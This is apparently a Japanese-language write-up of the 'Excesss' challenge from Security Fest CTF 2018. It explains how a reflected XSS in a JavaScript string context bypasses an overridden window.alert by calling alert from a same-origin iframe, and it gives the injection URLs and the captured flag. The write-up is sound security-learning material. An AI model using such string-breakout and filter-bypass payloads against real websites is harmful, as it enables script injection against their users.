Security Fest CTF 2018 - Excesss
問題文
This is some kind of reverse captcha to tell if the visitor is indeed a robot. Can you complete it?
http://xss1.alieni.se:2999/

writeup
この画面上でalert(1)を表示するURLを作って、フォームに入力してsubmitすると勝ち。
つまり、この画面にはXSSの脆弱性が存在する。
hereのリンクを押下すると、http://xss1.alieni.se:2999/?xss=hello へ遷移する。 HTMLソースを見てみる。
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" user-scalable="no" content="width=device-width, initial-scale=1"> <link rel="stylesheet" href="/static/style.css" /> <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script> <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"></script> <link rel="stylesheet" href="https://netdna.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css" /> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/mdbootstrap/4.3.0/css/mdb.min.css" /> </head> <body> <script src="/static/no_alert_for_you.js"></script><section class="login-info"> <div class="container"> <script>var x ='hello'; var y = `hello`; var z = "hello";</script> <div class="row main"> <div class="form-header header"> <h1 class="text-center ">Excess Ess</h1> </div> <div class="main-content"> <div class="row" id="container"> <hr> <h4 class="text-center black-text">Make alert(1) pop <a href="/?xss=hello">here</a> and submit the working URL in the form below.</h4> </div> <form method="post" action="/submit"> <div class="input-group "> <span class="input-group-addon"><span class="glyphicon glyphicon-paperclip" aria-hidden="true"></span></span> <input type="text" class="form-control text-center" name="url" placeholder="URL that pops alert(1) without user interaction"> </div> <div class="form-group "> <center> <input type="submit" value="submit" name="login" class="btn btn-green header btn-lg btn-block login-button"/> </center> </div> </form> <div class="form-group" id="container"> </div> </div> </div></body></html>
<script>var x ='hello'; var y = `hello`; var z = "hello";</script>がポイント。
xssパラメータの文字列がここにセットされるようだ。
なお、<と>を入力しても削除される。
他、/static/no_alert_for_you.jsをロードしている。
中身を見てみる。
/*
If there is no alert,
how can there be XSS?
/
/
) (
/( (\___/) )\
( #) \ ('')| ( #
||___c\ > '__||
||**** ),_/ **'|
.__ |'* ___| |___*'|
\_\ |' ( ~ ,)'|
(( |' /(. ' .)\ |
\\_|_/ <_ _____> \______________
/ '-, \ / ,-' ______ \
b'ger / (// \\) __/ / \
'./_____/
*/
window.alert = (x=>prompt("He confirm. He alert. But most of all he prompt."));
alert関数を上書きしているため、alert関数を呼んでもプロンプトが表示されてしまう。
一応、試してみる。
http://xss1.alieni.se:2999/?xss=';alert(1);var a='にアクセスする。

やはりプロンプトが表示される。
HTMLソースはこうなる。
(snip) <script>var x ='';alert(1);var a=''; var y = `';alert(1);var a='`; var z = "';alert(1);var a='";</script> (snip)
上書きされているのは現在のwindowオブジェクトのalert関数である。
windowオブジェクトはフレームごとに異なるため、
iframeでインラインフレームを作って、インラインフレームのwindowオブジェクトのalert関数を使えばよい。
以下、JavaScriptでインラインフレームを作ってからalert関数を呼ぶスクリプトを混入させるURL。
わかりやすいように改行を入れた。
http://xss1.alieni.se:2999/?xss=
';
var iframe = document.createElement('iframe');
document.body.appendChild(iframe);
iframe.contentWindow.alert(1);
var a='
すると、
Not allowed to navigate outside of xss1.alieni.se:2999
が表示された。
iframeのsrcが空だと、外部サイト扱いになるのだろうか。
srcにルートをセット。
http://xss1.alieni.se:2999/?xss=
';
var iframe = document.createElement('iframe');
iframe.src = '/';
document.body.appendChild(iframe);
iframe.contentWindow.alert(1);
var a='
アクセスすると、アラートが表示された。
そのまま、URLを入力フォームに入力してsubmit。
フラグゲット 。
sctf{cr0ss_s1te_n0scr1ptinG}